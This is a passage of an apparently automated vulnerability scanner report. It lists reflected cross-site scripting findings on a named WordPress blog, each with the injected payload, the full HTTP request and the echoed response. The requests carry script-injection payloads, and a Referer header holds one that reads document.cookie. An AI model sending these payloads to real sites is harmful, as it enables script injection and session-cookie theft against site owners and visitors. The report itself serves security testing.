Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:40 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Last-Modified: Wed, 09 Feb 2011 13:31:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21214

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-contente0d9a\"><script>alert(1)</script>dbc41bfa2ac/plugins/wp-postviews/wp-postviews.php?_=1297258312289&postviews_id=2456"/>
...[SNIP]...

1.35. http://addyosmani.com/blog/wp-content/plugins/wp-postviews/wp-postviews.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-content/plugins/wp-postviews/wp-postviews.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6edf0"><script>alert(1)</script>d9d00838e01 was submitted in the REST URL parameter 3. This input was echoed as 6edf0\"><script>alert(1)</script>d9d00838e01 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-content/plugins6edf0"><script>alert(1)</script>d9d00838e01/wp-postviews/wp-postviews.php?_=1297258312289&postviews_id=2456 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:43 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Last-Modified: Wed, 09 Feb 2011 13:31:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21214

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-content/plugins6edf0\"><script>alert(1)</script>d9d00838e01/wp-postviews/wp-postviews.php?_=1297258312289&postviews_id=2456"/>
...[SNIP]...

1.36. http://addyosmani.com/blog/wp-content/plugins/wp-postviews/wp-postviews.php [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-content/plugins/wp-postviews/wp-postviews.php

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e63c"><script>alert(1)</script>41a4f61ec80 was submitted in the REST URL parameter 4. This input was echoed as 3e63c\"><script>alert(1)</script>41a4f61ec80 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-content/plugins/wp-postviews3e63c"><script>alert(1)</script>41a4f61ec80/wp-postviews.php?_=1297258312289&postviews_id=2456 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Last-Modified: Wed, 09 Feb 2011 13:31:47 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21214

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-content/plugins/wp-postviews3e63c\"><script>alert(1)</script>41a4f61ec80/wp-postviews.php?_=1297258312289&postviews_id=2456"/>
...[SNIP]...

1.37. http://addyosmani.com/blog/wp-content/plugins/wp-postviews/wp-postviews.php [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-content/plugins/wp-postviews/wp-postviews.php

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c795"><script>alert(1)</script>100e771e126 was submitted in the REST URL parameter 5. This input was echoed as 8c795\"><script>alert(1)</script>100e771e126 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-content/plugins/wp-postviews/wp-postviews.php8c795"><script>alert(1)</script>100e771e126?_=1297258312289&postviews_id=2456 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Last-Modified: Wed, 09 Feb 2011 13:31:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21214

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-content/plugins/wp-postviews/wp-postviews.php8c795\"><script>alert(1)</script>100e771e126?_=1297258312289&postviews_id=2456"/>
...[SNIP]...

1.38. http://addyosmani.com/blog/wp-includes/js/jquery/jquery.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d6b1"><script>alert(1)</script>9be0c96d337 was submitted in the REST URL parameter 2. This input was echoed as 1d6b1\"><script>alert(1)</script>9be0c96d337 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes1d6b1"><script>alert(1)</script>9be0c96d337/js/jquery/jquery.js?ver=1.4.2 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:10 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:11 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21128

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes1d6b1\"><script>alert(1)</script>9be0c96d337/js/jquery/jquery.js?ver=1.4.2"/>
...[SNIP]...

1.39. http://addyosmani.com/blog/wp-includes/js/jquery/jquery.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0d40"><script>alert(1)</script>8b758a4062c was submitted in the REST URL parameter 3. This input was echoed as b0d40\"><script>alert(1)</script>8b758a4062c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes/jsb0d40"><script>alert(1)</script>8b758a4062c/jquery/jquery.js?ver=1.4.2 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:13 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:14 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21128

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes/jsb0d40\"><script>alert(1)</script>8b758a4062c/jquery/jquery.js?ver=1.4.2"/>
...[SNIP]...

1.40. http://addyosmani.com/blog/wp-includes/js/jquery/jquery.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a88f4"><script>alert(1)</script>a4e75e6aa52 was submitted in the REST URL parameter 4. This input was echoed as a88f4\"><script>alert(1)</script>a4e75e6aa52 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes/js/jquerya88f4"><script>alert(1)</script>a4e75e6aa52/jquery.js?ver=1.4.2 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:16 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21128

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes/js/jquerya88f4\"><script>alert(1)</script>a4e75e6aa52/jquery.js?ver=1.4.2"/>
...[SNIP]...

1.41. http://addyosmani.com/blog/wp-includes/js/jquery/jquery.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/jquery/jquery.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bcff"><script>alert(1)</script>efa9d4c1a8b was submitted in the REST URL parameter 5. This input was echoed as 4bcff\"><script>alert(1)</script>efa9d4c1a8b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes/js/jquery/jquery.js4bcff"><script>alert(1)</script>efa9d4c1a8b?ver=1.4.2 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:19 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21128

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes/js/jquery/jquery.js4bcff\"><script>alert(1)</script>efa9d4c1a8b?ver=1.4.2"/>
...[SNIP]...

1.42. http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/thickbox/thickbox.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 629ec"><script>alert(1)</script>cb0b354f1f3 was submitted in the REST URL parameter 2. This input was echoed as 629ec\"><script>alert(1)</script>cb0b354f1f3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes629ec"><script>alert(1)</script>cb0b354f1f3/js/thickbox/thickbox.css?ver=20090514 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:09 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:10 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21144

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes629ec\"><script>alert(1)</script>cb0b354f1f3/js/thickbox/thickbox.css?ver=20090514"/>
...[SNIP]...

1.43. http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/thickbox/thickbox.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6deeb"><script>alert(1)</script>d5349be6f45 was submitted in the REST URL parameter 3. This input was echoed as 6deeb\"><script>alert(1)</script>d5349be6f45 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes/js6deeb"><script>alert(1)</script>d5349be6f45/thickbox/thickbox.css?ver=20090514 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:12 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:12 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21144

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes/js6deeb\"><script>alert(1)</script>d5349be6f45/thickbox/thickbox.css?ver=20090514"/>
...[SNIP]...

1.44. http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/thickbox/thickbox.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1193"><script>alert(1)</script>3de8dc9ec6e was submitted in the REST URL parameter 4. This input was echoed as a1193\"><script>alert(1)</script>3de8dc9ec6e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes/js/thickboxa1193"><script>alert(1)</script>3de8dc9ec6e/thickbox.css?ver=20090514 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:15 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:16 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21144

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes/js/thickboxa1193\"><script>alert(1)</script>3de8dc9ec6e/thickbox.css?ver=20090514"/>
...[SNIP]...

1.45. http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/thickbox/thickbox.css

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9db25"><script>alert(1)</script>d8ede75f171 was submitted in the REST URL parameter 5. This input was echoed as 9db25\"><script>alert(1)</script>d8ede75f171 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes/js/thickbox/thickbox.css9db25"><script>alert(1)</script>d8ede75f171?ver=20090514 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:18 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:19 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21144

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.css9db25\"><script>alert(1)</script>d8ede75f171?ver=20090514"/>
...[SNIP]...

1.46. http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/thickbox/thickbox.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 375e4"><script>alert(1)</script>7c7d83dd3d9 was submitted in the REST URL parameter 2. This input was echoed as 375e4\"><script>alert(1)</script>7c7d83dd3d9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes375e4"><script>alert(1)</script>7c7d83dd3d9/js/thickbox/thickbox.js?ver=3.1-20100407 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
